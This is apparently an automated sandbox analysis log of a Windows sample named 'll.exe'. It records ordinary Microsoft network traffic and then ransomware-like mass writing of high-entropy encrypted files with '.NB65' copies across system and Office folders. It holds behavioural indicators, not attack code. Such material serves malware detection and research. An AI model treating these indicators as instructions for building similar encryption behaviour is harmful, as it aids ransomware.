Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AmazonVideo.PrimeVideo_pwbj9vvecjh7j&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Install ServiceMS-CV: +jUkz8/7C0maDbv2.0.2.4Host: displaycatalog.mp.microsoft.com
Source: global trafficHTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1667244644&PG=PC000P0FR5.0000000IRT&REQASID=5F4B6C89B2C846609F3E1F553BB48A37&UNID=338388&ASID=5d776faa406f4e0ebaecf4b6a37c3d62&PERSID=DBDE13DC697F71846A990CDFDC016FBD&GLOBALDEVICEID=6755432004667435&LOCALID=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&DS_EVTID=8450aad1a30f443d9720b7c7f2f80cff&DEVOSVER=10.0.17134.1&REQT=20220408T080227&TIME=20220408T170303Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1667244644&PG=PC000P0FR5.0000000IRT&REQASID=5F4B6C89B2C846609F3E1F553BB48A37&UNID=338388&ASID=5d776faa406f4e0ebaecf4b6a37c3d62&PERSID=DBDE13DC697F71846A990CDFDC016FBD&GLOBALDEVICEID=6755432004667435&LOCALID=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&DS_EVTID=8450aad1a30f443d9720b7c7f2f80cff&DEVOSVER=10.0.17134.1&REQT=20220408T080227&TIME=20220408T170307Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: unknownHTTPS traffic detected: 20.190.160.67:443 -> 192.168.2.3:49975 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.82.210.154:443 -> 192.168.2.3:49978 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.82.210.154:443 -> 192.168.2.3:49979 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.35.236.56:443 -> 192.168.2.3:49980 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.3:49982 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.3:49985 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.3:49990 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.3:49991 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.10.249.43:443 -> 192.168.2.3:49996 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.10.249.43:443 -> 192.168.2.3:49993 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.10.249.43:443 -> 192.168.2.3:49995 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.10.249.43:443 -> 192.168.2.3:49992 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.10.249.43:443 -> 192.168.2.3:49994 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.3:49997 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.3:50000 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.3:50001 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.3:50002 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.3:50004 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.3:50005 version: TLS 1.2
Source: unknownHTTPS traffic detected: 40.112.88.60:443 -> 192.168.2.3:50006 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.54.110.249:443 -> 192.168.2.3:50007 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.3:50011 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.3:50013 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.54.110.249:443 -> 192.168.2.3:50017 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.3:50020 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.3:50023 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.54.110.249:443 -> 192.168.2.3:50027 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.3:50032 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.3:50035 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.54.110.249:443 -> 192.168.2.3:50037 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.3:50038 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.3:50039 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.54.110.249:443 -> 192.168.2.3:50040 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.3:50041 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.3:50042 version: TLS 1.2
Source: unknownHTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.3:50043 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.54.110.249:443 -> 192.168.2.3:50044 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.3:50045 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.3:50046 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.54.110.249:443 -> 192.168.2.3:50047 version: TLS 1.2
Source: unknownHTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.3:50048 version: TLS 1.2
Source: unknownHTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.3:50049 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.54.110.249:443 -> 192.168.2.3:50051 version: TLS 1.2
Source: unknownHTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.3:50054 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.3:50055 version: TLS 1.2
Source: ll.exe, 00000001.00000002.517884875.0000000000DC8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

barindex
Writes many files with high entropy
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPISys.au3 entropy: 7.99762967554Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPISysInternals.au3 entropy: 7.99245285333Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPISysWin.au3 entropy: 7.99672176103Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPITheme.au3 entropy: 7.99561724269Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WindowsConstants.au3 entropy: 7.99414286944Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinNet.au3 entropy: 7.99543409819Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Word.au3 entropy: 7.99375701572Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\SciTE\au3.keywords.properties entropy: 7.99785920059Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\Google\Update\GoogleUpdate.bk entropy: 7.99877442432Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\Java\jre1.8.0_211\THIRDPARTYLICENSEREADME-JAVAFX.txt entropy: 7.99827591606Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\Java\jre1.8.0_211\THIRDPARTYLICENSEREADME.txt entropy: 7.99879412396Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\ListViewConstants.au3 entropy: 7.99201763759Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\Microsoft Office\Document Themes 16\Facet.thmx entropy: 7.99975875111Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Misc.au3 entropy: 7.99411250742Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Array.au3 entropy: 7.99771272835Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\ArrayDisplayInternals.au3 entropy: 7.99448820501Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\NetShare.au3 entropy: 7.99627168127Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\NTSTATUSConstants.au3 entropy: 7.99917004096Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\PowerPoint.au3 entropy: 7.99699148598Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Clipboard.au3 entropy: 7.99103502001Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Security.au3 entropy: 7.99009907239Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\OWOW64LR.cab entropy: 7.99959754981Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Sound.au3 entropy: 7.99150605102Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\SQLite.au3 entropy: 7.99674797362Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-012B-0409-0000-0000000FF1CE}-C\LyncMUI.cab entropy: 7.99984475006Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Crypt.au3 entropy: 7.99291193634Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\CUIAutomation2.au3 entropy: 7.99618977763Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Date.au3 entropy: 7.99781998688Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\StructureConstants.au3 entropy: 7.99732779305Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Debug.au3 entropy: 7.9929284196Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\EventLog.au3 entropy: 7.99378156136Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Excel.au3 entropy: 7.9969847688Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\UIAWrappers.au3 entropy: 7.99798937327Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files\UNP\Logs\UpdateNotificationPipeline.001.etl entropy: 7.99841011415Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files\UNP\Logs\UpdateNotificationPipeline.002.etl entropy: 7.99861927846Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\File.au3 entropy: 7.99617650604Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\Visa.au3 entropy: 7.99539702968Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\Setup.xml entropy: 7.99439032713Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files\UNP\Logs\UpdateNotificationPipeline.003.etl entropy: 7.99856770846Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ProPsWW.cab entropy: 7.99995951616Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ProPsWW2.cab entropy: 7.99997585741Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0016-0409-0000-0000000FF1CE}-C\ExcelLR.cab entropy: 7.99978066407Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\FTPEx.au3 entropy: 7.99637803382Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX.chm entropy: 7.99919334688Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GDIPlus.au3 entropy: 7.9993734253Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX.psd1 entropy: 7.99335494753Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIConv.au3 entropy: 7.99272536198Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.Assembly.xml entropy: 7.99659939175Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIDiag.au3 entropy: 7.99546605176Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GDIPlusConstants.au3 entropy: 7.99413675061Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIDlg.au3 entropy: 7.99543714157Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiButton.au3 entropy: 7.9928332995Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiComboBox.au3 entropy: 7.99599863196Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3_DLL.lib entropy: 7.99345519154Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiComboBoxEx.au3 entropy: 7.99616895329Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIFiles.au3 entropy: 7.99830996263Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0018-0409-0000-0000000FF1CE}-C\PptLR.cab entropy: 7.99993624249Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3_x64_DLL.lib entropy: 7.9924113694Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIGdi.au3 entropy: 7.99916767548Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIGdiDC.au3 entropy: 7.99169193129Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIGdiInternals.au3 entropy: 7.99434542376Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0019-0409-0000-0000000FF1CE}-C\PubLR.cab entropy: 7.99937847838Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiEdit.au3 entropy: 7.99671076404Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiHeader.au3 entropy: 7.99564854602Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIIcons.au3 entropy: 7.99309101625Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiImageList.au3 entropy: 7.99384187426Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-001A-0409-0000-0000000FF1CE}-C\OutlkLR.cab entropy: 7.99980068253Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\AutoIt.chm entropy: 7.99917602277Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPILocale.au3 entropy: 7.9910691208Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIMem.au3 entropy: 7.99296262818Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiListBox.au3 entropy: 7.99650587067Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiListView.au3 entropy: 7.99918349185Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-001B-0409-0000-0000000FF1CE}-C\WordLR.cab entropy: 7.99938710556Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiMenu.au3 entropy: 7.99730263345Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIProc.au3 entropy: 7.99737162881Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiMonthCal.au3 entropy: 7.9956283054Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIReg.au3 entropy: 7.9948535372Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIRes.au3 entropy: 7.99552558293Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIShellEx.au3 entropy: 7.99559892724Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiReBar.au3 entropy: 7.99736221586Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiRichEdit.au3 entropy: 7.99903774726Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\WinAPIShPath.au3 entropy: 7.99575142581Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiScrollBars.au3 entropy: 7.99377688416Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Icons\au3.ico entropy: 7.99377784101Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiSlider.au3 entropy: 7.99276374325Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Icons\au3script_v10.ico entropy: 7.99745296458Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0044-0409-0000-0000000FF1CE}-C\InfLR.cab entropy: 7.99983674754Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Icons\au3script_v11.ico entropy: 7.99630690229Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiStatusBar.au3 entropy: 7.99478730678Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Icons\au3script_v9.ico entropy: 7.99286414327Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Icons\filetype-blank.ico entropy: 7.99497952304Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiTab.au3 entropy: 7.99549729659Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiToolbar.au3 entropy: 7.99787317884Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiToolTip.au3 entropy: 7.99613887082Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0090-0409-0000-0000000FF1CE}-C\DCFMUI.cab entropy: 7.99965867144Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\GuiTreeView.au3 entropy: 7.99850378413Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\helper.au3 entropy: 7.99021460724Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\ie.au3 entropy: 7.99885604109Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-00A1-0409-0000-0000000FF1CE}-C\OnoteLR.cab entropy: 7.99992481441Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\APIErrorsConstants.au3 entropy: 7.99944581938Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-00BA-0409-0000-0000000FF1CE}-C\GrooveLR.cab entropy: 7.99979490292Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\APIFilesConstants.au3 entropy: 7.99357291121Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\APIGdiConstants.au3 entropy: 7.99084074656Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\AutoIt3\Include\APIShellExConstants.au3 entropy: 7.99436302096Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-00E2-0409-0000-0000000FF1CE}-C\OSMUXMUI.cab entropy: 7.99982675455Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\branding.xml entropy: 7.99946534748Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\Default\NTUSER.DAT entropy: 7.99928476686Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\Default\NTUSER.DAT.LOG1 entropy: 7.99689270358Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TM.blf entropy: 7.99710443525Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000001.regtrans-ms entropy: 7.99964082649Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\OfficeLR.cab entropy: 7.99995252557Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000002.regtrans-ms entropy: 7.99970621958Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\setup.chm entropy: 7.99797443744Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\pkeyconfig-office.xrm-ms entropy: 7.99972891104Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\OWOW64WW.cab entropy: 7.99996894597Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\AutoIt.chm.NB65 (copy) entropy: 7.99917602277Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\Default\NTUSER.DAT.NB65 (copy) entropy: 7.99928476686Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\Default\NTUSER.DAT.LOG1.NB65 (copy) entropy: 7.99689270358Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TM.blf.NB65 (copy) entropy: 7.99710443525Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000001.regtrans-ms.NB65 (copy) entropy: 7.99964082649Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000002.regtrans-ms.NB65 (copy) entropy: 7.99970621958Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\pkeyconfig-office.xrm-ms.NB65 (copy) entropy: 7.99972891104Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy) entropy: 7.99439032713Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0016-0409-0000-0000000FF1CE}-C\ExcelLR.cab.NB65 (copy) entropy: 7.99978066407Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\OWOW64WW.cab.NB65 (copy) entropy: 7.99996894597Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0018-0409-0000-0000000FF1CE}-C\PptLR.cab.NB65 (copy) entropy: 7.99993624249Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0019-0409-0000-0000000FF1CE}-C\PubLR.cab.NB65 (copy) entropy: 7.99937847838Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-001A-0409-0000-0000000FF1CE}-C\OutlkLR.cab.NB65 (copy) entropy: 7.99980068253Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-001B-0409-0000-0000000FF1CE}-C\WordLR.cab.NB65 (copy) entropy: 7.99938710556Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0044-0409-0000-0000000FF1CE}-C\InfLR.cab.NB65 (copy) entropy: 7.99983674754Jump to dropped file
